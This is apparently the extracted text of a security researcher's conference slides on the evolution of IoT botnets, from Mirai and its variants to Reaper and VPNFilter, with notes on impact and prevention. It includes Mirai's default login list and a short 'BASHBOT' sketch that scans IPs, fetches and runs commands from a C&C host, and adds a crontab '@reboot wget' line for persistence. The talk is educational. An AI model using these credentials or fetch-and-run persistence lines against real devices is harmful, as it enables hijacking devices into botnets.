(R)evolution of IoT botnets

Jan Neduchal
@InternetOfShit

http://philippedaumanjr.net/petnet-raises-1-125-million-to-make-smart-pet-food-dispenser/
"Old" IoT botnets

Linux/IRCTelnet

Discovered in October 2016 by MalwareMustDie, a white-hat security research group, Linux/IRCTelnet is an Internet Relay Chat (IRC) botnet that was created using ELF (Executable and Linkable Format) binaries, a common file format for Linux and UNIX-based systems. This format is used in the firmware of many IoT devices including routers, DVRs, and IP cameras. In the samples they studied, the research group noted that Linux/IRCTelnet targets IoT devices and compromises them via the telnet protocol. Much like Mirai, this botnet exploits default and hardcoded credentials or uses brute-force techniques to compromise the Linux-based devices. They also determined that Linux/IRCTelnet is actively using the Mirai botnet’s leaked IoT credentials list. It also emulates the Bashlight botnet in its telnet-scanning capabilities. Despite the similarities to these botnets, the research group has determined that Linux/IRCTelnet was built from the source code of the Aيدra botnet.
“Old” IoT botnets

Linux/IRCTelnet

MMD-0058-2016 - Linux MIPS IoT bad news
14 Oct 2016

Background

Since the end of September 2016 I received several reports on Linux MIPS platform I provided to detect IoT attacks. I will call this threat Linux/NyaDrop as per the name used by threat actor himself, for a binary that is dropped in the compromised system.

IoT Worm Used to Mine Cryptocurrency

By: Kaoru Hayashi

Created 19 Mar 2014

19 Comments

MIPS Linux botnets

November 5, 14 - Botnets

Discovered in 2015, Linux/Moose is a family of malware that primarily targets Linux-based consumer routers, including those with MIPS and ARM architectures. It gains access to compromised devices by exploiting vulnerabilities in the routers and stealing login credentials.

Amnesia malware turns DVRs into botnet slaves

By Rene Millman - April 11, 2017

News

Tsunami malware variant looks for vulnerable IoT devices to form botnets

IT security researchers have uncovered a new strain of malware that targets digital...
common traits
Mirai

// root
password

// root
admin

// root
support

// root
54321

// root
admin
default

// root
admin
888888

// root
admin
xmhdipc

// root
admin
cjantu

// root
admin
vzxy

// root
xc3511

12345
krebsonsecurity.com  ->  620Gbps
OVH.com       ->  1Tbps
Dyn - DNS     ->  Twitter, Spotify, Reddit

Its variants!
Mirai variants

• Satori (enlightenment)
• (Pure)Masuta (master)
• Okiru (rise)
loTroop (Reaper)

• loader
• lua
IoTroop (Reaper)

- loader
- lua

Reporting server

Infected device

Loader

Download server

Vulnerable device
IoTroop (Reaper)
- loader
- lua
IoTroop (Reaper)

- loader
- lua
IoTroop (Reaper)
- loader
- lua
IoTroop (Reaper)

- loader
- lua
IoTroop (Reaper)

- loader
- lua
• OMG
  • proxy

• Wicked family
  • persistence
APT?
Advanced persistent threat
VPNFilter

stage 1 —> persistence
stage 2 —> module loader
VPNFilter stage 3
VPNFilter stage 3

tor
dstr
ssler
& more
HideNSeek

C&C-less design
Impact of IoT botnets
Impact of IoT botnets
Impact of IoT botnets

Paras Jha → Mirai
Impact of IoT botnets

Paras Jha → Mirai
Impact of IoT botnets

Kenneth Currin Schuchman
-> Satori

Paras Jha -> Mirai
Prevention
Prevention

Intrusion Detection System

Firewall rules

REBOOT
Lets build one

what language to choose?
what communication protocol to choose?
what spreading method to use?
Shodan.io

Search engine for IoT
<table>
<thead>
<tr>
<th>Rank</th>
<th>Country</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Brazil</td>
<td>80,926</td>
</tr>
<tr>
<td>2</td>
<td>India</td>
<td>28,607</td>
</tr>
<tr>
<td>3</td>
<td>Indonesia</td>
<td>22,500</td>
</tr>
<tr>
<td>4</td>
<td>Iran, Islamic Republic of</td>
<td>10,811</td>
</tr>
<tr>
<td>5</td>
<td>South Africa</td>
<td>8,820</td>
</tr>
<tr>
<td>6</td>
<td>United States</td>
<td>7,312</td>
</tr>
<tr>
<td>7</td>
<td>Russian Federation</td>
<td>6,353</td>
</tr>
<tr>
<td>8</td>
<td>Bangladesh</td>
<td>4,436</td>
</tr>
<tr>
<td>9</td>
<td>Thailand</td>
<td>4,324</td>
</tr>
<tr>
<td>10</td>
<td>Argentina</td>
<td>4,158</td>
</tr>
</tbody>
</table>
IoT exploitation

DEMO
Me

Router
Me

Hello

Router
Me

Hello

Session ID

Router
Me

Hello

DB pls

Router

Session ID

Sure, there ya go!
BASHBOT

The 60 minute botnet written in bash
while true{
    ip = gen_ip()
    exploit(ip)
    wget http://cnc.ip/command
    ./command
}
persistence()
{
    crontab -l > cron.b
    echo "@reboot wget $cnc/payload" >> cron.b
    crontab cron.b
    rm cron.b
}

Leaked sources

• Mirai
• LightAidra
• BASHLITE/Gafgyt/QBot
• parts of brickerbot
Leaked sources

• Mirai
• LightAidra
• BASHLITE/Gafgyt/QBot
• parts of brickerbot
The skid way

15$/cnc → Mirai
10$/cnc → Qbot

“stressers”
The skid way

15$/cnc → Mirai
10$/cnc → Qbot

“stressers”
Conclusion

• age of APT IoT botnets
  • persistence
  • multi-stage
• making an IoT botnet is EASY
• vendors should do something about it
• rebooted router is a happy router!!
Q&A

My thanks goes to Adolf Středa and Anna Shirokova of AVAST.

CONTACT ME

Email
honza.neduchal@gmail.com
jan.neduchal@avast.com

Twitter
@malwarereaper